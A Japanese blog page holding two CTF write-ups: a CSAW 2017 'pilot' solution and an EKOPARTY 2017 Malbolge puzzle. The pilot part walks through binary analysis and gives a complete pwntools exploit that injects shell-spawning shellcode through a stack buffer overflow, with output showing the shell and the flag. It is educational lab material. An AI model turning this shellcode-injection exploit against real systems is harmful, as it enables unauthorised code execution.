2017年09月

CSAW CTF Qualification Round 2017 writeup pilot

Pwn
pilot

Can I take your order?

nc pwn.chal.csaw.io 8464

16:05 Eastern: Updated binary

fileコマンドでダウンロードしたファイルのファイルタイプを確認してみます。64bitのLinux実行ファイルです。
$ file pilot 
pilot: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
checksecスクリプトでこの実行ファイルのセキュリティを確認します。canary無し、NX無効なのでスタックオーバーフローの脆弱性をついてシェルコードを埋め込むことができそうです。
$ checksec.sh --file pilot 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   pilot
objdumpコマンドで逆アセンブルして詳細な処理を確認します。
$ objdump -s -D pilot > aaa.txt
400aa4~400aaeの部分でrbp-0x20の値を出力しています。この値はLocation:の後ろの部分に出力されます。400acf~400ae0の部分でユーザからの入力をバッファに読み込んでいます。読込先のアドレスはrbp-0x20で64バイト分読み込んでいます。ここでシェルコードを注入してバッファオーバーフローを起こし400b35のretでの戻り先に注入したシェルコードの先頭アドレスを設定できれば良さそうです。
  400a92: be 77 0d 40 00       mov    $0x400d77,%esi #[*]Location:
  400a97: bf a0 20 60 00       mov    $0x6020a0,%edi
  400a9c: e8 bf fd ff ff       callq  400860 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  400aa1: 48 89 c2             mov    %rax,%rdx
  400aa4: 48 8d 45 e0           lea    -0x20(%rbp),%rax
  400aa8: 48 89 c6             mov    %rax,%rsi
  400aab: 48 89 d7             mov    %rdx,%rdi
  400aae: e8 bd fd ff ff       callq  400870 <_ZNSolsEPKv@plt>
  400ab3: be 90 08 40 00       mov    $0x400890,%esi
  400ab8: 48 89 c7             mov    %rax,%rdi
  400abb: e8 c0 fd ff ff       callq  400880 <_ZNSolsEPFRSoS_E@plt>
  400ac0: be 84 0d 40 00       mov    $0x400d84,%esi #[*]Command:
  400ac5: bf a0 20 60 00       mov    $0x6020a0,%edi
  400aca: e8 91 fd ff ff       callq  400860 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
  400acf: 48 8d 45 e0           lea    -0x20(%rbp),%rax
  400ad3: ba 40 00 00 00       mov    $0x40,%edx #読み込みサイズ(64バイト)
  400ad8: 48 89 c6             mov    %rax,%rsi   #読込先バッファ(rbp-0x20)
  400adb: bf 00 00 00 00       mov    $0x0,%edi  #ファイルディスクリプタ(0)
  400ae0: e8 3b fd ff ff       callq  400820 <read@plt>
(略)
  400b2f: b8 00 00 00 00       mov    $0x0,%eax
  400b34: c9                   leaveq 
  400b35: c3                   retq   
指示されたサーバに接続してみます。[*]Locatin:の後に出力されている16進数値が読み込み先のアドレスになります。
>nc.exe pwn.chal.csaw.io 8464
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions t
o save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffd160ba730
[*]Command:

下図のようにスタックを上書きします。
1

以上を踏まえて、Pythonでエクスプロイトコードを書きます。
#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./pilot')
else:
    p = remote('pwn.chal.csaw.io', 8464)

context(os='linux', arch='amd64')
shellcode = asm(shellcraft.sh())

p.recvuntil('[*]Good Luck Pilot!....\n')
loc = p.recvline()
print(loc)
ary = loc.split(':')
p.recvuntil('[*]Command:')
p.send(
''
+ shellcode
+ 'A' * (40 - len(shellcode))
+ p64(int(ary[1], 0))
)
time.sleep(0.1)
p.interactive()
実行すると次のとおりフラグを得ることができました。
$ python aaa.py
(略)
[DEBUG] Received 0x174 bytes:
    '[*]Welcome DropShip Pilot...\n'
    '[*]I am your assitant A.I....\n'
    '[*]I will be guiding you through the tutorial....\n'
    '[*]As a first step, lets learn how to land at the designated location....\n'
    '[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n'
    '[*]Good Luck Pilot!....\n'
    '[*]Location:0x7ffd45748a50\n'
    '[*]Command:'
[*]Location:0x7ffd45748a50

[DEBUG] Sent 0x30 bytes:
    00000000  6a 68 48 b8  2f 62 69 6e  2f 2f 2f 73  50 48 89 e7  │jhH·│/bin│///s│PH··│
    00000010  31 f6 6a 3b  58 99 0f 05  41 41 41 41  41 41 41 41  │1·j;│X···│AAAA│AAAA│
    00000020  41 41 41 41  41 41 41 41  50 8a 74 45  fd 7f 00 00  │AAAA│AAAA│P·tE│····│
    00000030
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0xb bytes:
    'flag\n'
    'pilot\n'
flag
pilot
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x31 bytes:
    'flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}\n'
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}
フラグは、
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}

EKOPARTY CTF 2017 writeup Malbolge

Malbolge

misc
294
125

Prove yourself as a malbolge programmer.

nc malbolge.ctf.site 40111

指示されたサーバに接続してみます。
>nc malbolge.ctf.site 40111
Send a malbolge code that print: 'Welcome to EKOPARTY!' (without single quotes)
Welcome to EKOPARTY!と出力するMalbolgeのプログラムコードを送信する必要があります。Malbolgeは意図的に難解になるように設計されたプログラム言語ということで、Hello World!と出力するだけのプログラムも意味不明なものになっています。

Malbolgeの仕様を理解してプログラムを書く気力がないのでいろいろ探してみたところ、文字列を出力するMalbolgeプログラムを生成してくれるサイトがありました。
http://zb3.me/malbolge-tools/

以下が生成されたコードです。
D'``$]\=~lG{8DxTed?+r)_Lm+H)(!3}UAA.a`+u)L[Zp6WVlqpih.ONjiha'H^]\[Z~^W\[ZYRvVOTSLp3INGFjJ,BAe?'=<;_?8=<;4X216543,P0p(-,+*#G'&f|{"y?}|ut:[qvutml2poQPlejc)gfedFb[!_X]V[ZSRvP8TSLpJ2NMLEDhU
サーバに接続して上記で生成したコードを送信します。
>nc malbolge.ctf.site 40111
Send a malbolge code that print: 'Welcome to EKOPARTY!' (without single quotes)
D'``$]\=~lG{8DxTed?+r)_Lm+H)(!3}UAA.a`+u)L[Zp6WVlqpih.ONjiha'H^]\[Z~^W\[ZYRvVOTSLp3INGFjJ,BAe?'=<;_?
8=<;4X216543,P0p(-,+*#G'&f|{"y?}|ut:[qvutml2poQPlejc)gfedFb[!_X]V[ZSRvP8TSLpJ2NMLEDhU
Running code...
Welcome to EKOPARTY!
Your flag is: EKO{0nly4nother3soteric1anguage}
フラグは、
EKO{0nly4nother3soteric1anguage}
です。

神曲 地獄篇 (講談社学術文庫)
ダンテ・アリギエリ
講談社
2014-06-11


記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー